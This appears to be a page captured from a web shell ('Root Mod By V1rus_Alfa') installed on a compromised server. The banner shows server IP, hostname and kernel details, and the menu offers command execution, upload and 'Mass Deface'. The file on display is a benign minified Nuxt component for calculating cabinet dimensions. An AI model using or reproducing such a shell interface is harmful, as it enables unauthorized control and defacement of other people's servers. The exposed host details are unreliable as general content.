���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.nuxt
/
dist
/
client
/
_nuxt
/
Viewing: CP97g-Bj.js
import{_ as q}from"./Bk3PtmvI.js";import{_ as B}from"./eQviZWxx.js";import{q as D,h as O,i as J,N as T,O as E,a7 as j,r as k,P as F,Q as H,R as M,u as W,o as c,c as m,a as e,t as a,k as t,b as d,G as x,w as z,I as G,J as Q,T as X,n as Y,S as Z,p as tt,f as et,U as st,_ as nt}from"./Bkw0duvu.js";import{_ as lt}from"./CHsAzR7N.js";import{u as ot}from"./DmDSYH1u.js";import{u as at}from"./DKnm8qnS.js";import{u as it}from"./BbgV3qLK.js";import"./CyhgVoz5.js";const C=f=>(tt("data-v-9d7ab43c"),f=f(),et(),f),ut={class:"mb-2 pt-3 px-2 mt-1"},dt=["dir"],rt={class:"flex justify-between items-start"},ct={class:"w-full flex justify-between items-start mb-3"},mt={class:"w-5/12"},_t={class:"flex justify-between items-center w-full mb-3"},pt={class:"block w-5/12 text-gray-500 bg-white text-sm"},ft={class:"w-7/12"},ht={class:"flex justify-between items-center w-full mb-3"},bt={class:"block w-5/12 text-gray-500 bg-white text-sm"},wt={class:"w-7/12"},xt={class:"flex justify-between items-center w-full mb-3"},gt={class:"block w-5/12 text-gray-500 bg-white text-sm"},yt={class:"w-7/12"},vt={key:0,class:"flex justify-between items-center w-full mb-3"},Vt={class:"block w-5/12 text-gray-500 bg-white text-sm"},kt={class:"w-7/12"},Ct={class:"flex justify-between items-center w-full mb-3"},Ut={class:"block w-5/12 text-gray-500 bg-white text-sm"},Nt={class:"w-7/12"},St={class:"h-32 w-[13rem] mb-3"},It=["src","alt"],Ot=["textContent"],jt={class:"mb-2"},zt={key:0},At=["dir"],Kt=C(()=>e("th",null,null,-1)),$t=C(()=>e("th",null,null,-1)),Pt=C(()=>e("td",null," = ",-1)),Lt=["dir"],Rt={class:"px-1 w-3/12"},qt={class:"block text-gray-500 bg-white text-base"},Bt={class:"px-1 w-4/12"},Dt={class:"px-1 w-4/12"},Jt={class:"block px-2 text-base truncate"},Tt=D({__name:"[id]",async setup(f){let h,U;const{t:o}=O(),A=J(),{locale:K}=O(),g=X(),{$api:N}=T(),p=it(),y=E(),{id:v}=j().params,V=k(!1),s=F({y:void 0,x:void 0,z:void 0,s:void 0,c:1,count:1}),b=k(null),S=k([]),$=j(),{data:r}=([h,U]=H(async()=>ot(`user:${v}`,async()=>{const[i,l]=await Promise.all([N(g.public.API_URL+"/analyze/materials"),N(g.public.API_URL+"/analyze/unit",{query:{unit_id:v}})]),u=JSON.parse(i).data.materials,_=JSON.parse(l).data.unit;return{fields:u,unit:_}},{server:!0})),h=await h,U(),h);M(async()=>{r.value.fields.forEach(i=>{S.value.push({name:K.value=="en"?i.title_en:i.title,value:i.id})}),$.meta.title=r.value.unit.title,W({title:r.value.unit.title})});async function I(i,l,u){if(!s.y)return y.add({title:o("Length field Alert"),color:"orange"});if(!s.x)return y.add({title:o("Width field Alert"),color:"orange"});if(!s.z)return y.add({title:o("Height field Alert"),color:"orange"});let _=1;s.s&&(_=s.x-s.s),V.value=!0;const{data:w}=await at("/analyze/computing-unit",{method:"POST",immediate:!0,server:!0,body:{y:s.y,x:s.x,z:s.z,s:s.s,c:s.c,d:_,count:s.count,type:i,unit_id:v,unit_title:l}});b.value=JSON.parse(w.value).data.result,V.value=!1,u&&Y(A(u))}return(i,l)=>{const u=q,_=B,w=Z,P=lt,L=st;return c(),m("div",ut,[e("section",{dir:i.$i18n.locale=="en"?"ltr":"rtl"},[e("div",rt,[e("div",ct,[e("div",mt,[e("div",_t,[e("label",pt,a(t(o)("Depth")),1),e("div",ft,[d(u,{loading:!1,variant:"outline",inputClass:" w-10/12 sm:w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 py-0 text-xs",onKeypress:t(p).NumbersOnly,modelValue:t(s).y,"onUpdate:modelValue":l[0]||(l[0]=n=>t(s).y=n)},null,8,["onKeypress","modelValue"])])]),e("div",ht,[e("label",bt,a(t(o)("Width")),1),e("div",wt,[d(u,{loading:!1,variant:"outline",inputClass:" w-10/12 sm:w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 py-0 text-xs",onKeypress:t(p).NumbersOnly,modelValue:t(s).x,"onUpdate:modelValue":l[1]||(l[1]=n=>t(s).x=n)},null,8,["onKeypress","modelValue"])])]),e("div",xt,[e("label",gt,a(t(o)("Height")),1),e("div",yt,[d(u,{loading:!1,variant:"outline",inputClass:"w-10/12 sm:w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 py-0 text-xs",onKeypress:t(p).NumbersOnly,modelValue:t(s).z,"onUpdate:modelValue":l[2]||(l[2]=n=>t(s).z=n)},null,8,["onKeypress","modelValue"])])]),t(r).unit.sabet_status=="true"?(c(),m("div",vt,[e("label",Vt,a(t(o)("Fixed Width")),1),e("div",kt,[d(u,{loading:!1,variant:"outline",inputClass:"w-10/12 sm:w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 py-0 text-xs",onKeypress:t(p).NumbersOnly,modelValue:t(s).s,"onUpdate:modelValue":l[3]||(l[3]=n=>t(s).s=n)},null,8,["onKeypress","modelValue"])])])):x("",!0),e("div",Ct,[e("label",Ut,a(t(o)("Door Color")),1),e("div",Nt,[d(_,{options:t(S),"option-attribute":"name",class:"w-full",selectClass:" w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 pl-2 py-0 text-xs",modelValue:t(s).c,"onUpdate:modelValue":l[4]||(l[4]=n=>t(s).c=n)},null,8,["options","modelValue"])])])]),e("div",St,[t(r).unit.image_2_d?(c(),m("img",{key:0,src:t(g).public.FILE_URL+t(r).unit.image_2_d.address,class:"w-full h-full",alt:t(o)("Add Unit")},null,8,It)):x("",!0),d(w,{loading:!1,square:"",onClick:l[5]||(l[5]=n=>I("computing",t(r).unit.title,null)),class:"w-full flex text-main-700 rounded-sm border border-red-600 h-7 bg-white items-center justify-center"},{default:z(()=>{var n;return[e("span",{textContent:a((n=t(b))!=null&&n.length?t(o)("Recalculate"):t(o)("Computing")),class:"block px-2 text-sm truncate"},null,8,Ot)]}),_:1})])])])],8,dt),e("section",jt,[t(V)==!0?(c(),m("div",zt,[d(P)])):x("",!0),t(b)?(c(),m("table",{key:1,class:"w-full p-0",dir:i.$i18n.locale=="en"?"ltr":"rtl"},[e("thead",null,[e("tr",null,[e("th",null,a(t(o)("length")),1),Kt,e("th",null,a(t(o)("width")),1),$t,e("th",null,a(t(o)("count")),1),e("th",null,a(t(o)("unit_title")),1)])]),e("tbody",null,[(c(!0),m(G,null,Q(t(b),(n,R)=>(c(),m("tr",{key:R},[e("td",null,a(n.length),1),e("td",null,[d(L,{name:"i-heroicons-x-mark",class:"text-[11px]"})]),e("td",null,a(n.width),1),Pt,e("td",null,a(n.count),1),e("td",null,a(i.$i18n.locale=="en"?n.label_en:n.label),1)]))),128))])],8,At)):x("",!0)]),e("footer",{dir:i.$i18n.locale=="en"?"ltr":"rtl",class:"px-3 bg-white flex justify-between items-center pb-2 pt-2 sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t"},[e("div",Rt,[e("label",qt,a(t(o)("Number_Units"))+" : ",1)]),e("div",Bt,[d(u,{loading:!1,variant:"outline",inputClass:"w-full text-center text-main-700 rounded-sm ring-gray-400 !shadow-none focus:ring-1 focus:ring-orange-600 h-7 text-base ",modelValue:t(s).count,"onUpdate:modelValue":l[6]||(l[6]=n=>t(s).count=n),onKeypress:t(p).NumbersOnly},null,8,["modelValue","onKeypress"])]),e("div",Dt,[d(w,{loading:!1,square:"",onClick:l[7]||(l[7]=n=>I("set",t(r).unit.title,"/analyze/list")),class:"w-full flex text-main-700 border-red-700 rounded-sm border h-7 bg-white items-center justify-center"},{default:z(()=>[e("span",Jt,a(t(o)("payment_5")),1)]),_:1})])],8,Lt)])}}}),Yt=nt(Tt,[["__scopeId","data-v-9d7ab43c"]]);export{Yt as default};
Coded With 💗 by
0x6ick Mod By V1rus_Alfa